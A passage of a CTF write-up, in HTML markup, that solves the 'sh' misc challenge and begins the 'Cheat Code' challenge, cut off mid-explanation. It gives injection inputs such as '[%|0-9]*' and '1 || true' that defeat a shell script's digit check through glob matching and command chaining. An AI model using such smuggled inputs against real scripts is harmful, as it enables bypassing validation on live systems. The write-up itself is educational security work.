3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>sh(Misc)</h2>\n<blockquote>\n<p>Guess?</p>\n</blockquote>\n<p>The following script was provided as the challenge binary.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token shebang important\">#!/usr/bin/env sh</span>\n\n<span class=\"token builtin class-name\">set</span> -euo pipefail\n\n<span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"Can you guess the number? > \"</span>\n\n<span class=\"token builtin class-name\">read</span> i\n\n<span class=\"token keyword\">if</span> <span class=\"token builtin class-name\">printf</span> <span class=\"token variable\">$i</span> <span class=\"token operator\">|</span> <span class=\"token function\">grep</span> -e <span class=\"token punctuation\">[</span>^0-9<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span>\n    <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"bye hacker!\"</span>\n    <span class=\"token builtin class-name\">exit</span> <span class=\"token number\">1</span>\n<span class=\"token keyword\">fi</span>\n\n<span class=\"token assign-left variable\">r</span><span class=\"token operator\">=</span><span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">head</span> -c512 /dev/urandom <span class=\"token operator\">|</span> <span class=\"token function\">tr</span> -dc <span class=\"token number\">0</span>-9<span class=\"token variable\">)</span></span>\n\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> <span class=\"token variable\">$r</span> <span class=\"token operator\">==</span> <span class=\"token variable\">$i</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span>\n    <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"How did you know?!\"</span>\n    <span class=\"token function\">cat</span> flag.txt\n<span class=\"token keyword\">else</span>\n    <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"Nope. It was <span class=\"token variable\">$r</span>.\"</span>\n<span class=\"token keyword\">fi</span></code></pre></div>\n<p>This script checks whether the digit string received as input matches a randomly generated digit string.</p>\n<p>At first, I tried various things, wondering whether <code class=\"language-text\">printf $i</code> might allow command injection or format-string attacks, but I could not get anything to work.</p>\n<p>However, thanks to an idea from a teammate, we realized that the evaluation in <code class=\"language-text\">if [[ $r == $i ]];</code> could be abused using shell pattern matching.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 811px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/bc345c2c6349846729a9060f05ed63bd/fd28b/image-20240623231924615.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 60.83333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABmklEQVQoz5VS2ZKCQAzkR1SQQ44ZQBluRTyq/P8vyqbDjoVVPuw+dGVISKdzOJ7nEeC6Lq3fURTReD7TdLlQ3/d0vz9ovl5pAqZJ8Hyy7zbTPM/Udx0FgU+OJVkDhHEc05kJQYZk2OOxpNPpxPYoWL+BMAzJQTKw2+0E9hvEh8NBECeJKN7v9+T7/htBEHwAOY5SipI0oY4lV1VFTd1Q07ZkaiOqmqZlNAIoHfqBhmEkYwzVdS3KjKmo5f+SJF4URmEkCWgBBfJcUwZb5JJQlqXAMEGLYkxWFAV9G5eDNtHW4/Gk1+slVcdxpBsPWjOpHcFf4dh5aaWlbQALsXPdbrdvu9lsxFrfV4WeuzwwdLRRlgUVeS6kCS8j/32rTElcaS0+dGXJLUShPRNsDcuJePW1qeVkOp7XRe5wEDsMg4xjOaNO5pumqQhQ3CE4nPXtLXdViiKtc0pZYZqksigAqlIummUZx7UoBiGWiPgHIYCKUGYqw8mx+CwZYhX70W7NF4GTwpnBj0V2XS9jey8FFtVwHmEY0Nr/H/wA4LZnMI3m1Z4AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/bc345c2c6349846729a9060f05ed63bd/8ac56/image-20240623231924615.webp 240w,\n/static/bc345c2c6349846729a9060f05ed63bd/d3be9/image-20240623231924615.webp 480w,\n/static/bc345c2c6349846729a9060f05ed63bd/a63ac/image-20240623231924615.webp 811w\"\n              sizes=\"(max-width: 811px) 100vw, 811px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/bc345c2c6349846729a9060f05ed63bd/8ff5a/image-20240623231924615.png 240w,\n/static/bc345c2c6349846729a9060f05ed63bd/e85cb/image-20240623231924615.png 480w,\n/static/bc345c2c6349846729a9060f05ed63bd/fd28b/image-20240623231924615.png 811w\"\n            sizes=\"(max-width: 811px) 100vw, 811px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/bc345c2c6349846729a9060f05ed63bd/fd28b/image-20240623231924615.png\"\n            alt=\"image-20240623231924615\"\n            title=\"image-20240623231924615\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This means that if you run a command like the following, <code class=\"language-text\">if [[ $r == [0-9]* ]];</code> will always evaluate to true.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token assign-left variable\">r</span><span class=\"token operator\">=</span><span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">head</span> -c512 /dev/urandom <span class=\"token operator\">|</span> <span class=\"token function\">tr</span> -dc <span class=\"token number\">0</span>-9<span class=\"token variable\">)</span></span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> <span class=\"token variable\">$r</span> <span class=\"token operator\">==</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0</span>-9<span class=\"token punctuation\">]</span>* <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span> <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"How did you know?!\"</span><span class=\"token punctuation\">;</span> <span class=\"token function\">cat</span> flag.txt<span class=\"token punctuation\">;</span> <span class=\"token keyword\">else</span> <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"Nope. It was <span class=\"token variable\">$r</span>.\"</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">fi</span></code></pre></div>\n<p>So we realized that we only had to inject into <code class=\"language-text\">$i</code> a pattern that matches any digit string.</p>\n<p>However, if we try to send <code class=\"language-text\">[0-9]*</code> directly to the challenge server, it gets rejected by the input validation.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 654px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/b2aa783d057fcee50b0b1a3f7c0f19fd/68e9c/image-20240623233110068.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 12.916666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAfklEQVQI143M0QqCMACF4REyxDa1hlvh5rQFBrGwi97/0f7AriqCLr6bA/8R58eeMRvCtcVPR0IYSOnEfJnpfc9yX8i3jA9+5ZzFHRxDHIhjRAjxrjMW2zlUVaOVRmm1BtW2oigKmrZB1/o7/GVKkZ1pEZvXUJYlUsr/Dz48ATJwREUlq8D6AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/b2aa783d057fcee50b0b1a3f7c0f19fd/8ac56/image-20240623233110068.webp 240w,\n/static/b2aa783d057fcee50b0b1a3f7c0f19fd/d3be9/image-20240623233110068.webp 480w,\n/static/b2aa783d057fcee50b0b1a3f7c0f19fd/d7085/image-20240623233110068.webp 654w\"\n              sizes=\"(max-width: 654px) 100vw, 654px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/b2aa783d057fcee50b0b1a3f7c0f19fd/8ff5a/image-20240623233110068.png 240w,\n/static/b2aa783d057fcee50b0b1a3f7c0f19fd/e85cb/image-20240623233110068.png 480w,\n/static/b2aa783d057fcee50b0b1a3f7c0f19fd/68e9c/image-20240623233110068.png 654w\"\n            sizes=\"(max-width: 654px) 100vw, 654px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/b2aa783d057fcee50b0b1a3f7c0f19fd/68e9c/image-20240623233110068.png\"\n            alt=\"image-20240623233110068\"\n            title=\"image-20240623233110068\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>So I thought about how to bypass the following check.</p>\n<p>In the <code class=\"language-text\">if</code> statement, it appears to be evaluated based on whether the exit status of the final command, <code class=\"language-text\">grep -e [^0-9]</code>, is 0.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token keyword\">if</span> <span class=\"token builtin class-name\">printf</span> <span class=\"token variable\">$i</span> <span class=\"token operator\">|</span> <span class=\"token function\">grep</span> -e <span class=\"token punctuation\">[</span>^0-9<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">then</span>\n    <span class=\"token builtin class-name\">printf</span> <span class=\"token string\">\"bye hacker!\"</span>\n    <span class=\"token builtin class-name\">exit</span> <span class=\"token number\">1</span>\n<span class=\"token keyword\">fi</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 823px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/59851eaf18e726355c87b69b25c33703/31aff/image-20240624233003962.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 16.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAm0lEQVQI12WN2w7CIBBE6ZNYbgulUAhaW9v4A/r/nzYimr74MJnJSfYsGxaB/RWwPT3yZpFvDwx5BYVLa1922DjD1W0+LM2YUoJSEkIKcM6PnPgJrMQe5U6Ii66HEm5MEMbjrGxrSaFuV/fwZdpCGwMigiHTxLKK5e8Bu2aBshnEVcNNEnbMkDag10Nr5aZD3Bj5KiJ0XQfG2F/etJtHl1boqFkAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/59851eaf18e726355c87b69b25c33703/8ac56/image-20240624233003962.webp 240w,\n/static/59851eaf18e726355c87b69b25c33703/d3be9/image-20240624233003962.webp 480w,\n/static/59851eaf18e726355c87b69b25c33703/7fbc2/image-20240624233003962.webp 823w\"\n              sizes=\"(max-width: 823px) 100vw, 823px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/59851eaf18e726355c87b69b25c33703/8ff5a/image-20240624233003962.png 240w,\n/static/59851eaf18e726355c87b69b25c33703/e85cb/image-20240624233003962.png 480w,\n/static/59851eaf18e726355c87b69b25c33703/31aff/image-20240624233003962.png 823w\"\n            sizes=\"(max-width: 823px) 100vw, 823px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/59851eaf18e726355c87b69b25c33703/31aff/image-20240624233003962.png\"\n            alt=\"image-20240624233003962\"\n            title=\"image-20240624233003962\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Therefore, if we can send an input that causes an error in this condition, we can bypass the validation.</p>\n<p>In this case, entering a string containing <code class=\"language-text\">%</code> or <code class=\"language-text\">%x</code> caused an error and let us bypass the validation.</p>\n<p>In other words, by sending text like <code class=\"language-text\">[%|0-9]*</code>, we can bypass the check and make the condition take the form <code class=\"language-text\">[[ $r == [%|0-9]* ]];</code>, which gives us the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 880px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/21ae5f5f975d9305c57b148d301e20d5/9c177/image-20240624233135227.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 9.583333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAcElEQVQI122LSQrDMBAEdUqIDVpmRpvjiIAvzv8fWBE++9AUFNXucwrjVLRH+jio+xepb8bxI9Wd5xpZgvGYXH1iWV547zEzSi1YNkIMlJIvOhXDNE9RaK3QW0U1sW1teiHNKEZPNkUkXUdVxTl3uz9sNy/osbUTgAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/21ae5f5f975d9305c57b148d301e20d5/8ac56/image-20240624233135227.webp 240w,\n/static/21ae5f5f975d9305c57b148d301e20d5/d3be9/image-20240624233135227.webp 480w,\n/static/21ae5f5f975d9305c57b148d301e20d5/fd35f/image-20240624233135227.webp 880w\"\n              sizes=\"(max-width: 880px) 100vw, 880px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/21ae5f5f975d9305c57b148d301e20d5/8ff5a/image-20240624233135227.png 240w,\n/static/21ae5f5f975d9305c57b148d301e20d5/e85cb/image-20240624233135227.png 480w,\n/static/21ae5f5f975d9305c57b148d301e20d5/9c177/image-20240624233135227.png 880w\"\n            sizes=\"(max-width: 880px) 100vw, 880px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/21ae5f5f975d9305c57b148d301e20d5/9c177/image-20240624233135227.png\"\n            alt=\"image-20240624233135227\"\n            title=\"image-20240624233135227\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>As another solution, it seems possible to bypass the validation by exploiting <code class=\"language-text\">set -euo pipefail</code>.</p>\n<p>This option is used as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># スクリプト内で呼び出されるプロセスの戻り値が 0 以外の場合はすべて失敗とみなし、スクリプトをその時点で終了する</span>\n<span class=\"token builtin class-name\">set</span> -e\n\n<span class=\"token comment\"># ただし、| で繋がれた場合、$? で参照できるエラーコードは最後のコマンドの実行結果による</span>\n<span class=\"token comment\"># つまり、&lt;エラーを返すコマンド> | &lt;成功するコマンド> のような処理を行う場合、set -e ではスクリプトは停止しない</span>\n\n<span class=\"token comment\"># ここで、-o pipefail を付与すると、パイプ内のエラーも -e の判定条件に含めることができる</span>\n<span class=\"token comment\"># 以下を使用すると、パイプ区切りのコマンドはすべて実行できるが、その中にエラーを返すものがある場合スクリプトは停止する</span>\n<span class=\"token builtin class-name\">set</span> -eo pipefail\n\n<span class=\"token comment\"># -u は、未定義の変数を参照した際にエラーを返すように設定できる</span>\n<span class=\"token comment\"># ただし、if 文や :~ などで未定義変数を適切に操作できる場合にはエラーは返されない</span>\n<span class=\"token builtin class-name\">set</span> -euo pipefail</code></pre></div>\n<p>Reference: <a href=\"https://www.howtogeek.com/782514/how-to-use-set-and-pipefail-in-bash-scripts-on-linux/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">How To Use set and pipefail in Bash Scripts on Linux</a></p>\n<p>To bypass this, we can use a technique based on <code class=\"language-text\">||</code>.</p>\n<p>If commands are chained with <code class=\"language-text\">||</code>, the command on the right is invoked only when the command on the left fails.</p>\n<p>Reference: <a href=\"https://stackoverflow.com/questions/13553173/whats-the-meaning-of-the-operator-in-linux-shell\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">What’s the meaning of the operator || in linux shell? - Stack Overflow</a></p>\n<p>In other words, if you give input like <code class=\"language-text\">0 || true</code>, only <code class=\"language-text\">0</code> is sent to standard output.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ <span class=\"token builtin class-name\">printf</span> <span class=\"token number\">0</span> <span class=\"token operator\">||</span> <span class=\"token boolean\">true</span> <span class=\"token operator\">|</span> <span class=\"token builtin class-name\">echo</span>\n<span class=\"token number\">0</span></code></pre></div>\n<p>This lets us bypass the <code class=\"language-text\">if</code> validation when <code class=\"language-text\">0 || true</code> is used as the input value.</p>\n<p>Furthermore, with <code class=\"language-text\">$r == 1 || true</code>, (presumably) <code class=\"language-text\">$r == 1</code> does not become true, so <code class=\"language-text\">true</code> is executed and the final evaluation result becomes true, allowing us to get the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 644px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9caac3643c19a5fe5956676cb4067945/78274/image-20240625001113757.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 13.333333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAq0lEQVQI10VPyw6DMAwrlz0kGE1LoVuLoDAYD+2y7f9/zUu7ww6WFdlOHKG7I+r7CSacId0BpBW01qhMhbo2aGyDMATYq4XzDkopEBEMa57nLMsghPhjXDpMa8D6nNGFFsM4YN83vD8vOHdD23rMjwnrtqAPPcqyhK40iqJIiyPnec6cJxZSEgsKin7NpJQcuqSGMaC4MSlKS4gkJCPOEdZaGPZFr+VPPB//AlrRSstZggh9AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9caac3643c19a5fe5956676cb4067945/8ac56/image-20240625001113757.webp 240w,\n/static/9caac3643c19a5fe5956676cb4067945/d3be9/image-20240625001113757.webp 480w,\n/static/9caac3643c19a5fe5956676cb4067945/f847d/image-20240625001113757.webp 644w\"\n              sizes=\"(max-width: 644px) 100vw, 644px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9caac3643c19a5fe5956676cb4067945/8ff5a/image-20240625001113757.png 240w,\n/static/9caac3643c19a5fe5956676cb4067945/e85cb/image-20240625001113757.png 480w,\n/static/9caac3643c19a5fe5956676cb4067945/78274/image-20240625001113757.png 644w\"\n            sizes=\"(max-width: 644px) 100vw, 644px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9caac3643c19a5fe5956676cb4067945/78274/image-20240625001113757.png\"\n            alt=\"image-20240625001113757\"\n            title=\"image-20240625001113757\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"cheat-codemisc\" style=\"position:relative;\"><a href=\"#cheat-codemisc\" aria-label=\"cheat codemisc permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Cheat Code(Misc)</h2>\n<blockquote>\n<p>With cheats, anything is possible.</p>\n</blockquote>\n<p>The challenge binary was as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> hashlib <span class=\"token keyword\">import</span> sha256\n<span class=\"token keyword\">import</span> os\n<span class=\"token keyword\">from</span> secrets <span class=\"token keyword\">import</span> randbelow\n<span class=\"token keyword\">from</span> secret <span class=\"token keyword\">import</span> flag<span class=\"token punctuation\">,</span> cheat_code\n<span class=\"token keyword\">import</span> re\n\nchallenge_times <span class=\"token operator\">=</span> <span class=\"token number\">100</span>\nhash_strength <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>os<span class=\"token punctuation\">.</span>environ<span class=\"token punctuation\">.</span>get<span class=\"token punctuation\">(</span><span class=\"token string\">\"HASH_STRENGTH\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">super_strong_hash</span><span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">:</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span><span class=\"token operator\">></span> <span class=\"token builtin\">bytes</span><span class=\"token punctuation\">:</span>\n    sb <span class=\"token operator\">=</span> s<span class=\"token punctuation\">.</span>encode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> _ <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>hash_strength<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        sb <span class=\"token operator\">=</span> sha256<span class=\"token punctuation\">(</span>sb<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>digest<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> sb\n\ncheat_code_hash <span class=\"token operator\">=</span> super_strong_hash<span class=\"token punctuation\">(</span>cheat_code<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"hash of cheat code: </span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>cheat_code_hash<span class=\"token punctuation\">.</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">}</span></span><span class=\"token string\">\"</span></span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"If you know the cheat code, you will always be accepted!\"</span><span class=\"token punctuation\">)</span>\n\nsecret_number <span class=\"token operator\">=</span> randbelow<span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token operator\">**</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span>\nsecret_code <span class=\"token operator\">=</span> <span class=\"token string-interpolation\"><span class=\"token string\">f\"</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>secret_number<span class=\"token punctuation\">:</span><span class=\"token format-spec\">010d</span><span class=\"token punctuation\">}</span></span><span class=\"token string\">\"</span></span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"Find the secret code of 10 digits in </span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>challenge_times<span class=\"token punctuation\">}</span></span><span class=\"token string\"> challenges!\"</span></span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">check_code</span><span class=\"token punctuation\">(</span>given_secret_code<span class=\"token punctuation\">,</span> given_cheat_code<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">def</span> <span class=\"token function\">check_cheat_code</span><span class=\"token punctuation\">(</span>given_cheat_code<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">return</span> super_strong_hash<span class=\"token punctuation\">(</span>given_cheat_code<span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> cheat_code_hash\n\n    digit_is_correct <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        digit_is_correct<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>given_secret_code<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> secret_code<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token keyword\">or</span> check_cheat_code<span class=\"token punctuation\">(</span>given_cheat_code<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> <span class=\"token builtin\">all</span><span class=\"token punctuation\">(</span>digit_is_correct<span class=\"token punctuation\">)</span>\n\ngiven_cheat_code <span class=\"token operator\">=</span> <span class=\"token builtin\">input</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Enter the cheat code: \"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>given_cheat_code<span class=\"token punctuation\">)</span> <span class=\"token operator\">></span> <span class=\"token number\">50</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Too long!\"</span><span class=\"token punctuation\">)</span>\n    exit<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>challenge_times<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"=====Challenge </span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">:</span><span class=\"token format-spec\">03d</span><span class=\"token punctuation\">}</span></span><span class=\"token string\">=====\"</span></span><span class=\"token punctuation\">)</span>\n    given_secret_code <span class=\"token operator\">=</span> <span class=\"token builtin\">input</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Enter the secret code: \"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> <span class=\"token keyword\">not</span> re<span class=\"token punctuation\">.</span><span class=\"token keyword\">match</span><span class=\"token punctuation\">(</span><span class=\"token string\">r\"^\\d{10}$\"</span><span class=\"token punctuation\">,</span> given_secret_code<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Wrong format!\"</span><span class=\"token punctuation\">)</span>\n        exit<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> check_code<span class=\"token punctuation\">(</span>given_secret_code<span class=\"token punctuation\">,</span> given_cheat_code<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Correct!\"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">)</span>\n        exit<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Wrong!\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Game over!\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Looking at the code, we can see that to get the flag we either have to guess a random 10-digit number within 100 tries, or enter a cheat code that was probably randomly generated.</p>\n<p>As for the cheat code, the program prints its hash when it runs, but because it seems to use stretching an unspecified number of times and the cheat code itself also appears to be randomly generated, it was difficult to determine.</p>\n<p>However, the key point here is that in 